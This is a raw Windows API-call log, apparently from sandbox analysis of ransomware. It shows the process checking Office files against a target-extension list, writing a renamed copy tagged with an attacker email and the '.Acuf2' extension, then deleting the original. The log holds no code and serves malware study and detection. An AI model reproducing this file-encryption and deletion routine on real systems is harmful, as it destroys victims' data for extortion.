	[0258.281] lstrlenW (lpString=".1cd") returned 4
	[0258.281] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0258.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79
	[0258.281] lstrlenW (lpString=".jpg") returned 4
	[0258.281] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0258.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79
	[0258.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79
	[0258.281] lstrlenW (lpString=".doc") returned 4
	[0258.282] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0258.282] lstrlenW (lpString=".docx") returned 5
	[0258.282] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0258.282] lstrlenW (lpString=".pdf") returned 4
	[0258.282] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0258.282] lstrlenW (lpString=".xls") returned 4
	[0258.282] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0258.282] lstrlenW (lpString=".xlsx") returned 5
	[0258.282] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0258.282] lstrlenW (lpString=".ppt") returned 4
	[0258.282] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0258.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79
	[0258.282] lstrlenW (lpString=".zip") returned 4
	[0258.282] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0258.282] lstrlenW (lpString=".rar") returned 4
	[0258.282] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0258.282] lstrlenW (lpString=".bz2") returned 4
	[0258.282] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0258.282] lstrlenW (lpString=".7z") returned 3
	[0258.282] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0258.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79
	[0258.282] lstrlenW (lpString=".dbf") returned 4
	[0258.282] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0258.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79
	[0258.282] lstrlenW (lpString=".1cd") returned 4
	[0258.282] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0258.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79
	[0258.282] lstrlenW (lpString=".jpg") returned 4
	[0258.282] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0258.283] lstrcmpiW (lpString1=".eftx", lpString2=".Acuf2") returned 1
	[0258.283] lstrlenW (lpString="Verve.eftx") returned 10
	[0258.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0258.381] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=31224) returned 1
	[0258.381] CloseHandle (hObject=0x354) returned 1
	[0258.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx")) returned 0x20
	[0258.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0258.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0258.393] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.393] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0258.400] GetLastError () returned 0x0
	[0258.400] ReadFile (in: hFile=0x354, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x79f8, lpOverlapped=0x0) returned 1
	[0258.421] WriteFile (in: hFile=0x274, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x7a00, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x7a00, lpOverlapped=0x0) returned 1
	[0258.422] ReadFile (in: hFile=0x354, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0258.422] WriteFile (in: hFile=0x274, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0258.422] SetEndOfFile (hFile=0x274) returned 1
	[0258.422] CloseHandle (hObject=0x274) returned 1
	[0258.422] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.422] SetEndOfFile (hFile=0x354) returned 1
	[0258.427] CloseHandle (hObject=0x354) returned 1
	[0258.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0258.564] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx")) returned 1
	[0258.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77
	[0258.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77
	[0258.594] lstrlenW (lpString=".doc") returned 4
	[0258.594] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0258.594] lstrlenW (lpString=".docx") returned 5
	[0258.594] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0258.594] lstrlenW (lpString=".pdf") returned 4
	[0258.594] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0258.594] lstrlenW (lpString=".xls") returned 4
	[0258.594] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0258.594] lstrlenW (lpString=".xlsx") returned 5
	[0258.594] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0258.594] lstrlenW (lpString=".ppt") returned 4
	[0258.594] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0258.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77
	[0258.594] lstrlenW (lpString=".zip") returned 4
	[0258.594] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0258.594] lstrlenW (lpString=".rar") returned 4
	[0258.594] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0258.594] lstrlenW (lpString=".bz2") returned 4
	[0258.594] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0258.594] lstrlenW (lpString=".7z") returned 3
	[0258.594] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0258.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77
	[0258.594] lstrlenW (lpString=".dbf") returned 4
	[0258.594] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0258.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77
	[0258.594] lstrlenW (lpString=".1cd") returned 4
	[0258.594] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0258.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77
	[0258.594] lstrlenW (lpString=".jpg") returned 4
	[0258.594] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0258.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77
	[0258.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77
	[0258.595] lstrlenW (lpString=".doc") returned 4
	[0258.595] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0258.595] lstrlenW (lpString=".docx") returned 5
	[0258.595] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0258.595] lstrlenW (lpString=".pdf") returned 4
	[0258.595] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0258.595] lstrlenW (lpString=".xls") returned 4
	[0258.595] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0258.595] lstrlenW (lpString=".xlsx") returned 5
	[0258.595] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0258.595] lstrlenW (lpString=".ppt") returned 4
	[0258.595] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0258.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77
	[0258.595] lstrlenW (lpString=".zip") returned 4
	[0258.595] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0258.595] lstrlenW (lpString=".rar") returned 4
	[0258.595] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0258.595] lstrlenW (lpString=".bz2") returned 4
	[0258.595] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0258.595] lstrlenW (lpString=".7z") returned 3
	[0258.595] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0258.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77
	[0258.595] lstrlenW (lpString=".dbf") returned 4
	[0258.595] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0258.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77
	[0258.595] lstrlenW (lpString=".1cd") returned 4
	[0258.595] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0258.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77
	[0258.596] lstrlenW (lpString=".jpg") returned 4
	[0258.596] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0258.596] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0258.596] lstrlenW (lpString="AUTOSHAP.DLL") returned 12
	[0258.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\autoshap.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0258.617] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=15776) returned 1
	[0258.617] CloseHandle (hObject=0x220) returned 1
	[0258.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\autoshap.dll")) returned 0x20
	[0258.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\autoshap.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0258.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\autoshap.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0258.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70
	[0258.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70
	[0258.617] lstrlenW (lpString=".doc") returned 4
	[0258.617] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0258.617] lstrlenW (lpString=".docx") returned 5
	[0258.617] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1
	[0258.617] lstrlenW (lpString=".pdf") returned 4
	[0258.617] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0258.617] lstrlenW (lpString=".xls") returned 4
	[0258.617] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0258.617] lstrlenW (lpString=".xlsx") returned 5
	[0258.617] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1
	[0258.617] lstrlenW (lpString=".ppt") returned 4
	[0258.617] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0258.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70
	[0258.617] lstrlenW (lpString=".zip") returned 4
	[0258.617] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0258.618] lstrlenW (lpString=".rar") returned 4
	[0258.618] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0258.618] lstrlenW (lpString=".bz2") returned 4
	[0258.618] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0258.618] lstrlenW (lpString=".7z") returned 3
	[0258.618] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0258.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70
	[0258.618] lstrlenW (lpString=".dbf") returned 4
	[0258.618] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0258.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70
	[0258.618] lstrlenW (lpString=".1cd") returned 4
	[0258.618] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0258.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70
	[0258.618] lstrlenW (lpString=".jpg") returned 4
	[0258.618] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0258.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70
	[0258.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70
	[0258.618] lstrlenW (lpString=".doc") returned 4
	[0258.618] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0258.618] lstrlenW (lpString=".docx") returned 5
	[0258.618] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1
	[0258.618] lstrlenW (lpString=".pdf") returned 4
	[0258.618] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0258.618] lstrlenW (lpString=".xls") returned 4
	[0258.618] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0258.618] lstrlenW (lpString=".xlsx") returned 5
	[0258.618] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1
	[0258.618] lstrlenW (lpString=".ppt") returned 4
	[0258.618] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0258.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70
	[0258.618] lstrlenW (lpString=".zip") returned 4
	[0258.619] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0258.619] lstrlenW (lpString=".rar") returned 4
	[0258.619] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0258.619] lstrlenW (lpString=".bz2") returned 4
	[0258.619] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0258.619] lstrlenW (lpString=".7z") returned 3
	[0258.619] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0258.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70
	[0258.619] lstrlenW (lpString=".dbf") returned 4
	[0258.619] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0258.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70
	[0258.619] lstrlenW (lpString=".1cd") returned 4
	[0258.619] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0258.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70
	[0258.619] lstrlenW (lpString=".jpg") returned 4
	[0258.619] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0258.619] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0258.619] lstrlenW (lpString="BULLETS.DLL") returned 11
	[0258.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bullets.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0258.623] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=15264) returned 1
	[0258.623] CloseHandle (hObject=0x220) returned 1
	[0258.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bullets.dll")) returned 0x20
	[0258.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bullets.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0258.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bullets.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0258.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68
	[0258.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68
	[0258.623] lstrlenW (lpString=".doc") returned 4
	[0258.623] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0258.623] lstrlenW (lpString=".docx") returned 5
	[0258.623] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1
	[0258.623] lstrlenW (lpString=".pdf") returned 4
	[0258.623] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0258.623] lstrlenW (lpString=".xls") returned 4
	[0258.623] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0258.624] lstrlenW (lpString=".xlsx") returned 5
	[0258.624] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1
	[0258.624] lstrlenW (lpString=".ppt") returned 4
	[0258.624] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0258.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68
	[0258.624] lstrlenW (lpString=".zip") returned 4
	[0258.624] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0258.624] lstrlenW (lpString=".rar") returned 4
	[0258.624] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0258.624] lstrlenW (lpString=".bz2") returned 4
	[0258.624] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0258.624] lstrlenW (lpString=".7z") returned 3
	[0258.624] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0258.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68
	[0258.624] lstrlenW (lpString=".dbf") returned 4
	[0258.624] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0258.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68
	[0258.624] lstrlenW (lpString=".1cd") returned 4
	[0258.624] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0258.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68
	[0258.624] lstrlenW (lpString=".jpg") returned 4
	[0258.624] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0258.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68
	[0258.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68
	[0258.624] lstrlenW (lpString=".doc") returned 4
	[0258.624] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0258.624] lstrlenW (lpString=".docx") returned 5
	[0258.624] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1
	[0258.624] lstrlenW (lpString=".pdf") returned 4
	[0258.624] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0258.624] lstrlenW (lpString=".xls") returned 4
	[0258.625] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0258.625] lstrlenW (lpString=".xlsx") returned 5
	[0258.625] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1
	[0258.625] lstrlenW (lpString=".ppt") returned 4
	[0258.625] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0258.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68
	[0258.625] lstrlenW (lpString=".zip") returned 4
	[0258.625] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0258.625] lstrlenW (lpString=".rar") returned 4
	[0258.625] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0258.625] lstrlenW (lpString=".bz2") returned 4
	[0258.625] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0258.625] lstrlenW (lpString=".7z") returned 3
	[0258.625] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0258.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68
	[0258.625] lstrlenW (lpString=".dbf") returned 4
	[0258.625] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0258.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68
	[0258.625] lstrlenW (lpString=".1cd") returned 4
	[0258.625] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0258.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68
	[0258.625] lstrlenW (lpString=".jpg") returned 4
	[0258.625] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0258.625] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0258.625] lstrlenW (lpString="LINES.DLL") returned 9
	[0258.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\lines.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0258.628] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=15256) returned 1
	[0258.629] CloseHandle (hObject=0x220) returned 1
	[0258.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\lines.dll")) returned 0x20
	[0258.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\lines.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0258.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\lines.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0258.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64
	[0258.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64
	[0258.629] lstrlenW (lpString=".doc") returned 4
	[0258.629] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0258.629] lstrlenW (lpString=".docx") returned 5
	[0258.629] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1
	[0258.629] lstrlenW (lpString=".pdf") returned 4
	[0258.629] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0258.629] lstrlenW (lpString=".xls") returned 4
	[0258.629] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0258.629] lstrlenW (lpString=".xlsx") returned 5
	[0258.629] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1
	[0258.629] lstrlenW (lpString=".ppt") returned 4
	[0258.629] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
